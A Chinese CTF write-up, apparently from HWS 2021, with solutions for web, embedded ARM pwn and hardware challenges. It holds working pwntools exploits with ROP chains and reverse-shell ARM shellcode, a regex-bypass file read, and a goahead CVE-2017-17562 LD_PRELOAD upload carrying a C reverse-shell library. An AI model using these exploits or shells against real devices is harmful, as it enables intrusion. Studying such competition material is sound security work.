这次比赛运气不错拿了第一,但是跟硬件相关的侧信道和故障注入一个都不会做TAT,还是需要向各位大佬学习一个。 PS:盲生,你发现华点了没?
web http://hws2021-web.node3.buuoj.cn/ 通过访问?file=index.php
可以获得源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php if (!isset ($_GET ['file' ])) { header('Location: /?file=log.txt' ); die (); } $file = $_GET ['file' ];$re = '/^\w*\.\w*$/m' ;preg_match_all($re , $file , $matches , PREG_SET_ORDER, 0 ); if (count($matches ) != 1 ) { die ('illegal operation!' ); } echo file_get_contents($file );
preg多行匹配,^
可以匹配到任意行的起始,因此可以用换行符绕过检查。
1 view-source:http://hws2021-web.node3.buuoj.cn/?file=php://filter/read=%0aconvert.base64%0a-encode/resource=/flag
easylock 出题人提供的智能锁APP所有在线功能都无法使用。 我们通过社工(拨打锁的官方网站上的客服电话)的方法获取到了锁的相关信息,并且下载到了最新版的APP。 经过一些逆向和抓包分析,发现其后台API接口存在大量的信息泄露/平行权限,可以任意解绑硬件,绑定到新账号。于是通过第一次挑战上台获取到了锁ID。第一次挑战失败后通过锁ID获取到了锁主人账号,并将其所有的锁都绑定到了自己账号上,然后上台开锁。 该漏洞已经提交补天和厂家,细节暂不在此透露。
easyserver 可以跨目录读文件,但没啥用,限制长度了。
1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import * context.log_level = "debug" data = "GET /../../../../tmp/flag HTTP/1.1\r\n" data += "\r\n" p = remote("192.168.245.158", 59816) p.send(data) p.interactive()
0x1103C 栈溢出
1 2 3 4 5 6 7 8 9 10 11 if ( !strcmp_0(req, "POST") ) { while ( recv_string(sock_fd, v9, 0x500) > 0 && strcmp("\n", &v9[60]) ) { v9[75] = 0; if ( !strcmp_0(&v9[60], "Content-Length:") ) content_length = atoi(&v9[76]); } if ( content_length == -1 ) return send_400(sock_fd); }
然后 rop 调用 send_file 把 /tmp/207775d1ee9b9efa245fd9fb6fc03b68/flag 的内容通过socket发出来。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 from pwn import * context.log_level = "debug" data = "POST /404.html HTTP/1.1 /tmp/207775d1ee9b9efa245fd9fb6fc03b68/flag\r\n" # data += "\r\n" # data += "B" * 0x500 data += "A" * 0x44c data += "B" * (0x500 - 0x44c) # 006099C POP {R0,PC} # 00060A84 POP {R1,PC} pop_r0 = 0x006099C pop_r1 = 0x60A84 close_addr = 0x2C068 p = remote("192.168.245.158", 59816) p.send(data) sleep(0.1) pause() payload = "U" * 1034 payload += "BBBB" payload += p32(pop_r0) payload += p32(6) payload += p32(pop_r1) payload += p32(0x8acfc) payload += p32(0x0010A08) payload += p32(pop_r0) payload += p32(6) payload += p32(close_addr) payload += "K" * (0x500 - 60 - len(payload) - 3) payload += "\n\x00\x00" p.send("C" * 59 + "\n\x00" + payload) pause() p.send("\n\x00" + cyclic(0x400 - 2)) p.interactive()
但是主办方说flag的路径必须通过getshell获得。。。。。
栈溢出然后使用 shellcode 反弹shellcode
shellcode
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 from pwn import * context.log_level = "debug" data = "POST /404.html HTTP/1.1 " """ sub r4, sp, #0xd0 push {r4} pop {pc} """ data += "\xd0\x40\x4d\xe2\x04\x40\x2d\xe5\x04\xf0\x9d\xe4\x02\x00\xa0\xe3" data += "\r\n" # data += "B" * 0x500 data += "A" * 0x44c data += "B" * (0x500 - 0x44c) # 006099C POP {R0,PC} # 00060A84 POP {R1,PC} # 0002BC90 POP {R7,PC} # text:2691C svc POP {R4-R8,PC} # 0003BD60 POP {R3-R11,PC} pop_r0 = 0x006099C pop_r1 = 0x60A84 close_addr = 0x2C068 pop_r7 = 0x0002BC90 svc_pop_r4_r8 = 0x0002691C pop_r3_r11 = 0x0003BD60 p = remote("20.21.2.27", 59816) p.send(data) sleep(0.1) pause() fd_n = 6 shellcode = "\x02\x00\xa0\xe3\x01\x10\xa0\xe3\x02\x20\x42\xe0\xc8\x70\xa0\xe3\x51\x70\x87\xe2\x00\x00\x00\xef\x00\x40\xa0\xe1\x64\x10\x8f\xe2\x01\x20\xc1\xe5\x10\x20\xa0\xe3\x02\x70\x87\xe2\x00\x00\x00\xef\x3f\x70\xa0\xe3\x04\x00\xa0\xe1\x01\x10\x41\xe0\x00\x00\x00\xef\x04\x00\xa0\xe1\x01\x10\xa0\xe3\x00\x00\x00\xef\x04\x00\xa0\xe1\x02\x10\xa0\xe3\x00\x00\x00\xef\x30\x00\x8f\xe2\x02\x20\x42\xe0\x00\x10\xa0\xe1\x05\x10\x81\xe2\x00\x60\xa0\xe1\x80\x60\x86\xe2\x00\x10\x86\xe5\x04\x20\x86\xe5\x06\x10\xa0\xe1\x07\x20\xc0\xe5\x0b\x70\xa0\xe3\x00\x00\x00\xef\x02\xff\x11\x5c\x14\x15\x02\x1a\x2f\x62\x69\x6e\x2f\x73\x68\x00" payload = "U" * 1034 payload = cyclic(834) payload += shellcode payload += "K" * (1034 - len(payload)) payload += "BBBB" # payload += p32(pop_r7) # payload += p32(0x7d) # mprotect payload += p32(0x8acfc) payload += p32(0x08ACE4) # socket payload += p32(pop_r1) payload += p32(0) payload += p32(svc_pop_r4_r8) payload += p32(0x11223344) * 4 # payload += shellcode payload += "K" * (0x500 - 60 - len(payload) - 3) payload += "\n\x00\x00" p.send("C" * 59 + "\n\x00" + payload) sleep(0.1) pause() p.send("\n\x00" + cyclic(0x400 - 2)) sleep(0.1) p.interactive()
本题华点 rop和shellcode调了好久,坑点:
这块板子使用的是arm926核心的处理器,其指令集是armv5,虽然支持mmu,但是并不支持NX bit。因此不管编译选项有没有开NX,实际运行的时候都是没有NX的。
嵌入式rootfs常用的busybox,在启动/bin/sh的时候 argv[0]必须是”sh”, 直接传argv=NULL
是无法启动的。因此rop了半天都不成功
因此,写出来一套shellcode后,后面的pwn题都可以秒杀了。
easyserver2 漏洞: 解析ip的时候栈溢出
1 2 3 4 5 6 int __fastcall read_from_remote(char *ip, int size) { for ( idx = 0; ip[idx] != ':'; ++idx ) stack[idx] = ip[idx]; // 拷贝ip
首先 rop 利用 r1 得到栈地址,然后jmp shellcode.
exploit:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 from pwn import * context.log_level = "debug" p = remote("20.21.2.27", 59809) sh_jmper = "\x80\x10\x81\xe2\xc4\x10\x81\xe2\x31\xff\x2f\xe1\x02\x00\xa0\xe3\x01\x10\xa0" shellcode = "\x02\x00\xa0\xe3\x01\x10\xa0\xe3\x02\x20\x42\xe0\xc8\x70\xa0\xe3\x51\x70\x87\xe2\x00\x00\x00\xef\x00\x40\xa0\xe1\x64\x10\x8f\xe2\x01\x20\xc1\xe5\x10\x20\xa0\xe3\x02\x70\x87\xe2\x00\x00\x00\xef\x3f\x70\xa0\xe3\x04\x00\xa0\xe1\x01\x10\x41\xe0\x00\x00\x00\xef\x04\x00\xa0\xe1\x01\x10\xa0\xe3\x00\x00\x00\xef\x04\x00\xa0\xe1\x02\x10\xa0\xe3\x00\x00\x00\xef\x30\x00\x8f\xe2\x02\x20\x42\xe0\x00\x10\xa0\xe1\x05\x10\x81\xe2\x00\x60\xa0\xe1\x80\x60\x86\xe2\x00\x10\x86\xe5\x04\x20\x86\xe5\x06\x10\xa0\xe1\x07\x20\xc0\xe5\x0b\x70\xa0\xe3\x00\x00\x00\xef\x02\xff\x11\x5c\x14\x15\x02\x1a\x2f\x62\x69\x6e\x2f\x73\x68\x00" # .text:00052494 STR R3, [R1] # .text:00052498 # .text:00052498 ADD SP, SP, #0xC # .text:0005249C POP {R4-R9,PC} str_r3_r1 = 0x00052494 # .text:0002AC80 POP {R0,R4,PC} r0_r4_pc = 0x002AC80 # .text:00061C04 POP {R1,PC} r1_pc = 0x00061C04 # .fini:000646AC POP {R3,PC} r3_pc = 0x000646AC # .text:0001D554 BLX R1 blx_r1 = 0x0001D554 data = "" data += sh_jmper[4:80] data += "b" * (140 - len(data)) data += p32(0x8A1AC) data += "b" * (0xa4 - len(data)) data += p32(0xa4) data += "c" * 4 data += p32(r3_pc) data += sh_jmper[:4] data += p32(0x00052494) data += "d" * 0xc data += p32(0) * 6 # dummy data += p32(blx_r1) data += shellcode data += ":\r\n" payload = 'GET /index.html?&&?size=1231?ip=' + data p.send(payload) p.send("B" * 100) p.interactive()
babyhttpd POST中sscanf读取了%[^&]&%*[^=]=%[^;]
,读取了两个参数,以a=1&b=2为例,v11读取到了a=1,haystack读取到了2,msg长度最大为1024,可以达到栈溢出的效果,将返回地址修改为bss地址,可以达到shellcode执行的效果。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from pwn import * context.log_level = 'debug' import socket p = remote("20.21.2.27", 5000) shellcode = "\x02\x00\xa0\xe3\x01\x10\xa0\xe3\x02\x20\x42\xe0\xc8\x70\xa0\xe3\x51\x70\x87\xe2\x00\x00\x00\xef\x00\x40\xa0\xe1\x64\x10\x8f\xe2\x01\x20\xc1\xe5\x10\x20\xa0\xe3\x02\x70\x87\xe2\x00\x00\x00\xef\x3f\x70\xa0\xe3\x04\x00\xa0\xe1\x01\x10\x41\xe0\x00\x00\x00\xef\x04\x00\xa0\xe1\x01\x10\xa0\xe3\x00\x00\x00\xef\x04\x00\xa0\xe1\x02\x10\xa0\xe3\x00\x00\x00\xef\x30\x00\x8f\xe2\x02\x20\x42\xe0\x00\x10\xa0\xe1\x05\x10\x81\xe2\x00\x60\xa0\xe1\x80\x60\x86\xe2\x00\x10\x86\xe5\x04\x20\x86\xe5\x06\x10\xa0\xe1\x07\x20\xc0\xe5\x0b\x70\xa0\xe3\x00\x00\x00\xef\x02\xff\x11\x5c\x14\x15\x02\x1a\x2f\x62\x69\x6e\x2f\x73\x68\x00" sc = shellcode payload = "POST \r\n\r\nname=root&a=" payload = payload + cyclic(788) + p32(0x000224F8 + 0x330) payload = payload.ljust(0x330, '\x00') payload = payload + sc p.send(payload) p.interactive()
webcamera goahead 2.5.0 CVE-2017-17562https://www.jianshu.com/p/4e803d6f19a3 https://xz.aliyun.com/t/6407
1 2 curl "http://192.168.8.108/cgi-bin/upload_conf.cgi?LD_PRELOAD=/proc/self/fd/0" \ -X POST --data-binary @evil_final.so -i
eval.so
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 #include <stdio.h> #include <stdlib.h> #include <sys/socket.h> #include <netinet/in.h> char *server_ip = "127.000.000.001" ;uint32_t server_port = 7777 ;static void reverse_shell (void ) __attribute__ ((constructor)) ;static void reverse_shell (void ) { int sock = socket(AF_INET, SOCK_STREAM, 0 ); struct sockaddr_in attacker_addr = {0 }; attacker_addr.sin_family = AF_INET; attacker_addr.sin_port = htons(server_port); attacker_addr.sin_addr.s_addr = inet_addr(server_ip); if (connect(sock, (struct sockaddr *)&attacker_addr, sizeof (attacker_addr)) != 0 ) exit (0 ); dup2(sock, 0 ); dup2(sock, 1 ); dup2(sock, 2 ); char *arggv[] = {"sh" , NULL }; execve("/bin/sh" , arggv, 0 ); }
brokenUart 通过strace对二进制分析得知,程序会往/dev/ttyS2 写入flag
dump固件中的dtb得知系统有三个uart 端口
uart2端口对应ttys2,引脚是PE7 PE8
根据f1c的datasheet找到PE7 8 搭线后使用波特率9600的uart转串口从硬件截获flag
搭线方法可以直接使用镊子一段杜邦线连接USB转TTL串口模块的RX引脚,另一端直接往SOC的对应引脚上戳。
本题华点 华点:echo xxx > /dev/ttyXXX
是用默认9600的波特率
keygame 在按键的高电平侧搭线到atmega开发板的gpio上,gpio间歇拉低电平,自动触发按键。 图示:
arduino 代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 void setup() { // put your setup code here, to run once: pinMode(8, OUTPUT); pinMode(9, OUTPUT); pinMode(10, OUTPUT); Serial.begin(9600); } void loop() { while(1) { digitalWrite(8, LOW); delay(10); digitalWrite(8, HIGH); delay(5); digitalWrite(9, LOW); delay(10); digitalWrite(9, HIGH); delay(5); digitalWrite(10, LOW); delay(10); digitalWrite(10, HIGH); delay(5); } }
本题华点 通过手册+dts数据可以得知,这个3按键不是使用的三个独立的GPIO,二是是使用的LRADC(模数转换器),按下不同的按键,LRADC引脚获得不同的分压,内核来判断不同按键。
理论上也可以拆掉lradc的外围电路,用信号发生器打一个0v-3v 500hz的正弦波,效果应该会更好,接线也更少。但现场设备不足,就没法验证这个思路了。
PS:赛后和其他队伍讨论,有的队伍说把三个按键的高电平侧焊接到一起,然后同时拉高拉低也可以过这个题,我认为是不行的。感觉就算真的可以,大概率是虚焊了,导线自己抖啊抖,抖到了对应按键。
其他华点 刷机工具 拿到单板之后一定要分析和单板相关的刷机工具,尤其是其中有没有Upload功能可以用来dump固件。本题的板子提供了sunxi-fel和dfu-util。其中sunxi-fel是allwinner的救砖模式刷机工具,dfu-util是uboot模式下的刷机工具。由于该单板使用的是spi-nand闪存,经过测试,sunxi-fel不支持对其完整编程,只能刷掉开头的uboot-spl部分。因此我们尝试使用dfu-util。
很明显,这工具支持upload,拿单板试一下,也确实可以。 因此通过.\dfu-util.exe -l
可以列出所有分区 (板子收回去了,印象里有u-boot, kernel.itb, rom, vendor) 四个。 通过.\dfu-util.exe -U xxx.bin -a $part
就可以dump对应的分区到上位机。
拿到rom.bin之后,就可以解包出来rootfs,方便调试了。
提取DTB获取devicetree arm linux内核目前基本都使用device tree来识别硬件设备了。device tree就类似于x86上的acpi table。 本次比赛的单板使用了uboot FitImage将 dtb和bImage打包到了一起。 FitImage也是一个device tree文件 只不过其中包含了kernel和真正的dtb
通过dtc对FitImage反编译,即可获得kernel和真正的dtb
当然,这里实际的数据都是用hexdump的形式表示的,我们只需要在hex编辑器中搜索一下开头的十几个字节,即可定位到dtb真正的位置并提取。
提取后再次使用dtc反编译,即可获得dts。
1 dtc -I dtb -O dts root.dtb
dtb: device tree blob , 设备树的二进制储存格式 dts: device tree string , 设备树的字符串储存格式
如何获取单板root权限方便调试 解包rom分区后可以看到/root/.ssh 目录下面有 分析可发现其一一对应。因此直接通过这个id_rsa就可以进入ssh。
但是我们在比赛的时候没发现这一点。。。。用了一个比较奇葩的方法
分析解包后的rootfs,可以发现其挂在了vendor分区,并执行了其中的start.sh 于是我们自己做了一个vendor分区镜像,刷了进去,在镜像中bind mount 了/root文件夹。 顺便还用buildroot编译了一个gdb和socat进去。。。
用mkfs.jffs2来制作刷机包。但是我们也一直没找到正确的erase size和block size。刷机进去后大文件都是乱码的。但幸好authorized_keys是正确的,因此可以用自己的key,ssh连进去了。
关于侧信道开发板 这玩意一看芯片型号是atmega2560 就很明显可以通过arduino方便的开发自己的程序实现某些功能了。因为arduino mega就是用的这块主控。